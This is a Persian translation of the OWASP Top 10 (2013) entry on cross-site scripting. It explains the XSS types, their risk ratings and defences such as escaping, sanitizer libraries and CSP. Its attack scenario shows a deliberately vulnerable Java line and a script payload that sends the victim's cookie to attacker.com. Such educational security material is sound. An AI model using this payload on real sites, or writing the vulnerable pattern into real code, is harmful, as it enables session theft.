به نام خدا

پروژه ۱۰ آسیب پذیری اول اپلیکیشن های تحت وب در سال ۲۰۱۳از OWASP،

شماره ۳ XSS یا همان Cross-site Scriptin

OWASP TOP 10 Project 2013 – A3 Cross-Site Scripting (XSS)

مقدمه:

رخنه ی XSS زمانی رخ می دهد که یک برنامه، داده های نامطمئن را دریافت کرده و آن را بدون اعتبارسنجی مناسب و یا escapeکردن به مرورگر ارسال نماید. هکر به وسیله ی XSS می تواند روی مرورگر قربانی با اجرای اسکریپت، نشست او را به سرقت ببرد (hijack) و یا سایت را دیفیس کند و یا کاربر را به سایت آلوده و مخرب دیگری ریدایرکت نماید.

ویژگی های این مورد Application Specific

به بررسی کسانی می پردازد که بتوانند داده های بدون اعتبارسنجی به سیستم ارسال کنند. این افراد شامل کاربران خارجی، کاربران داخلی و مدیران سیستم می شود.

قابلیت اکسپلوییت شدن: متوسط (حالت وسط؛ یعنی ۲ از ۳)

این حمله با ارسال یک متن ساده صورت می پذیرد و به اصطلاح به آن text-based attack می گوییم. این حمله با استفاده از syntaxهای برنامه های مفسر، اکسپلوییت می شود و در اکثر مواقع به وسیله ی این حمله به تمام منابع هدف مثل دیتابیس ها دسترسی خواهیم داشت.

میزان شیوع: بسیار شایع (بدترین حالت؛ یعنی ۳ از ۳)

قابلیت شناسایی: آسان (راحت ترین حالت؛ یعنی ۳ از ۳)

XSS، شایع ترین رخنه ی امنیتی در برنامه های تحت وب است. رخنه XSS زمانی اتفاق می افتد که در یک برنامه، داده هایی که کاربر در یک صفحه وارد می کند، بدون اعتبارسنجی مناسب و یا escape کردن به مرورگر ارسال شود. رخنه ی XSS به سه دسته ی اصلی شناخته می شوند:

1. ذخیره شده یا Stored
2. بازتابی یا Reflected
3. DOM Based XSS

شناسایی این آسیب پذیری معمولا با آزمون و خطا و یا آنالیز و تحلیل کد صورت می گیرد.

میزان تاثیر آن: متوسط (حالت میانی؛ یعنی ۲ از ۳)

هکر با اجرای یک اسکریپت در مرورگر قربانی می تواند به اهداف مختلفی برسد. مثل سرقت نشست کاربر (hijack)، دیفیس وب سایت، درج محتوای نامطلوب در سایت، ریدایرکت کردن کاربر، سرقت مرورگر کاربر با استفاده از بدافزارها و...

تاثیر آن در تجارت:

بررسی ارزش تجاری آن و تاثیری که روی سیستم ها و تمام داده های در حال پردازش توسط سیستم می گذارد.آیا ممکن است به واسطه ی این آسیب پذیری به شهرت شما آسیبی برسد؟

آیا من یک آسیب پذیری از نوع XSS هستم؟

اگر از سالم بودن ورودی هایی که کاربر وارد می کند، اطمینان ندارید؛ آسیب پذیری خواهید بود. این کار به وسیله ی escape های مناسب و صحت سنجی داده های ورودی به وسیله ی اعتبارسنجی ورودی ها قبل از اینکه ورودی ها را

در خروجی نمایش دهید، انجام می شود. بدون اعتبارسنجی و یا escape مناسب خروجی ها، ممکن است ورودی هایی که کاربر وارد می کند به عنوان محتوایی فعال (active content) برای مرورگر شناخته شود. آیا زمانی که از Ajax برای آپدیت داینامیک و پویای صفحات استفاده می کنید، از APIهای امن جاوا اسکریپت بهره می برید؟ در صورت به کارگیری از APIهای نا امن در جاوااسکریپت می بایست از کدگذاری یا اعتبارسنجی مناسب نیز استفاده کنید.

ابزارهای اسکنر تنها می توانند بعضی از XSS ها را به صورت خودکار پیدا کنند. با توجه به اینکه هر برنامه برای ساخت صفحات خروجی از راه های مختلفی استفاده می کند و مفسرهایی که در سمت مرورگر وجود دارد با هم تفاوت دارند و شامل مواردی مثل جاوا اسکریپت، ActiveX، فلش، سیلورلایت و... می شوند، بنابراین تشخیص این آسیب پذیری به صورت خودکار مشکل خواهد بود. با توجه به این مسائل برای اینکه تمام آسیب پذیری های احتمالی را پوشش دهیم لازم است که کد ها را به صورت دستی بازبینی کنیم و علاوه بر استفاده از ابزارهای خودکار، تست نفوذپذیری را به صورت دستی نیز انجام دهید.

در تکنولوژی های وب ۲ مثل ایجکس، تشخیص آسیب پذیری XSS به وسیله ی ابزارهای خودکار به مراتب سخت تر خواهد بود.

چگونه از XSS جلوگیری کنم؟

لازمه ی جلوگیری از XSS جداسازی تمام داده های نامطمئن از محتوای فعال مرورگر است:

۱- راه مطلوب این است که تمام داده های نامطمئن را بر اساس محتوای فایل های html و body و attribute، جاوا اسکریپت، CSS یا URL به صورت مناسب escape کنیم. برای مشاهده جزییات بیشتر به OWASP XSS Prevention Cheat Sheet مراجعه فرمایید.

۲- اعتبارسنجی بر اساس لیست مجاز یا همان white list نیز برای محافظت در برابر حملات XSS توصیه می شود. اما این راه حل به عنوان یک راه کار دفاعی کامل نیست. چراکه بسیاری از برنامه ها نیازمند کارکترهای خاصی در قسمت ورودی شان هستند. اعتبارسنجی را تاحدی که ممکن است روی ورودی ها و قبل از اعمال آن ها انجام دهید. برای مثال طول ورودی ها،کارکترهای ورودی، شکل و فرمت آن و قوانین تجاری را بررسی کنید.

۳- برای داده هایی که فراتر از چند کارکتر هستند و آن ها را به عنوان داده های غنی یا rich content می شناسیم، از کتابخانه هایی که پاکسازی را به صورت خودکار انجام می دهند(auto-sanitization)، استفاده کنید. مثل AntiSamy از اوسپ یا Java HTML Sanitizer Project.

۴- مطلب سیاست های امنیتی محتوا یا همان Content Security Policy (CSP) را برای مشاهده راه حل های دفاعی در برابر XSS که به دلیل ورودی های سایت به وجود می آید؛ مطالعه فرمایید.

سناریوهای حمله در قالب مثال:

این برنامه از داده های نامطمئن در این صفحه ی html و بدون اعتبارسنجی یا escape کردن استفاده می کند:

```
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
```

هکر پارامتر CC را به صورت زیر در مرورگر تغییر می دهد:

```
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?
foo='+document.cookie</script>'.
```

با این کار شناسه ی نشست یا همان Session ID قربانی به هکر ارسال می شود که به وسیله ی آن هکر می تواند نشست جاری قربانی را به سرقت ببرد (hijack). توجه کنید که هکر با استفاده از XSS می تواند تمام راه کارهای دفاعی که توسط برنامه به صورت خودکار در برابر CSRF در نظر گرفته شده است را شکست دهد. برای جزئیات بیشتر در خصوص CSRF به بخش هشتم A8 مراجعه فرمایید.

تاریخ ساخت: June 12, 2013 یا ۲۲ خرداد ۱۳۹۲

تاریخ تحقیق: July 29, 2014 یا ۱۷ مرداد

/* تصحیح این مقاله، چه در ترجمه و چه در مباحث علمی ، توسط شما دوستان باعث خوشحالی خواهد بود. لطفا آن را با tamadonEH@gmail.com مطرح نمایید.*/

برای مشاهده لیست مقالات کار شده توسط گروه ما به لینک زیر مراجعه فرمایید

https://github.com/tamadonEH/list/blob/master/list.md